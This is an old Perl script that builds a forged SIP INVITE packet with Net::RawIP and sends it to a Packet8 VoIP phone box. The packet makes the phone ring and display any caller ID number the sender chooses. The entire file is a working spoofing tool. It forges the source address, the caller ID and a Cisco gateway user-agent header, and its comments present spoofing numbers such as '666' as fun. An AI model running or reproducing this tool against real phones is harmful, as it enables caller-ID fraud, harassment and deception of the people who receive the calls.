#!/usr/bin/perl -w
# ring.pl
# by ntheory
#
# This script will send a packet to a Packet8 IP phone box causing it to ring and
# display any caller ID number that you would like. Numbers can be between
# 1 and 11 digits long. Spoofing “666” is always good fun.
# July 12th, 2003 - Started development. Evaluated “Billy The Kid”
# and several other modules. Settled on Net::RawIP because it actually had
# some documentation and didnʼt spit out random hash errors that made no
# sense whatsoever.
use Net::RawIP;
use POSIX qw(strftime);
$SourceIP = shift;
$DestIP = shift;
$CallerIDNumber = shift;
if ( ( $#ARGV != -1 ) || ( !defined($CallerIDNumber) ) ) {
print "You didnt enter the correct number of arguments.\n";
print "try: ring.pl SourceIP DestIP CallerIDNumber\n";
print "\n";
exit;
}
# All of these fields are apparently unimportant.
$RemotePhoneNumber = "00000000000";
$RemoteAccount = "00000000000";
$CallerIDDate = "";
$CallerIDTime = "";
$TimeStamp = 0;
$ContentLength = 75;
# Ok, this one is important.
$Port = 5060;
# End-of-Line is CR/LF.
$EOL = chr(0x0D) . chr(0x0A);
# Build the packet (reverse engineered from Ethereal dump).
$UDPData = "INVITE sip:$RemoteAccount@" . "$DestIP SIP/2.0" . $EOL;
$UDPData .=
"Via: SIP/2.0/UDP $SourceIP:$Port;branch=00000000000000000000000000000000, SIP/2.0/UDP $SourceIP:$Port;branch=00000000-00000000-00000000-00000000-0, SIP/2.0/UDP $SourceIP:$Port"
. $EOL;
$UDPData .=
"From: <sip:$CallerIDNumber@" . "$SourceIP>;tag=00000000-0000" . $EOL;
$UDPData .=
"To: <sip:144#$RemotePhoneNumber@"
. "inb-sipproxy.ipcs.genuity.com;user=phone>"
. $EOL;
$UDPData .=
"Call-ID: 00000000-00000000-00000000-00000000@" . "$SourceIP" . $EOL;
$UDPData .= "CSeq: 101 INVITE" . $EOL;
$UDPData .= "Max-Forwards: 4" . $EOL;
$UDPData .=
"Contact: <sip:$CallerIDNumber@" . "$SourceIP:$Port;user=phone>" . $EOL;
$UDPData .= "Content-Type: application/sdp" . $EOL;
$UDPData .= "Date: $CallerIDDate $CallerIDTime GMT" . $EOL;
$UDPData .= "Expires: 180" . $EOL;
$UDPData .=
"Record-Route: <sip:$SourceIP:$Port;lr>, <sip:144#$RemotePhoneNumber@"
. "inb-sipproxy.ipcs.genuity.com:$Port;user=phone;maddr=$SourceIP>"
. $EOL;
$UDPData .= "Timestamp: $TimeStamp" . $EOL;
$UDPData .= "User-Agent: Cisco-SIPGateway/IOS-12.x" . $EOL;
$UDPData .= "Content-Length: $ContentLength" . $EOL;
$UDPData .= "Cisco-Guid: 0000000000-0000000000-0000000000-0000000000" . $EOL;
$UDPData .= $EOL;
$UDPData .= "v=0" . $EOL;
$UDPData .= "o=CiscoSystemsSIP-GW-UserAgent 7899 1104 IN IP4 $SourceIP" . $EOL;
$UDPData .= "s=SIP Call" . $EOL;
$UDPData .= "c=IN IP4 $SourceIP" . $EOL;
$UDPData .= "t=0 0" . $EOL;
$UDPData .= "m=audio 19216 RTP/AVP 4" . $EOL;
# Create the packet.
$Packet = new Net::RawIP(
{
ip => { daddr => $DestIP },
udp => { source => $Port, dest => $Port, data => $UDPData }
}
);
# Annnnnnnnnnnnd, theyre off!
$Packet->send;
syntax highlighted by Code2HTML, v. 0.9.1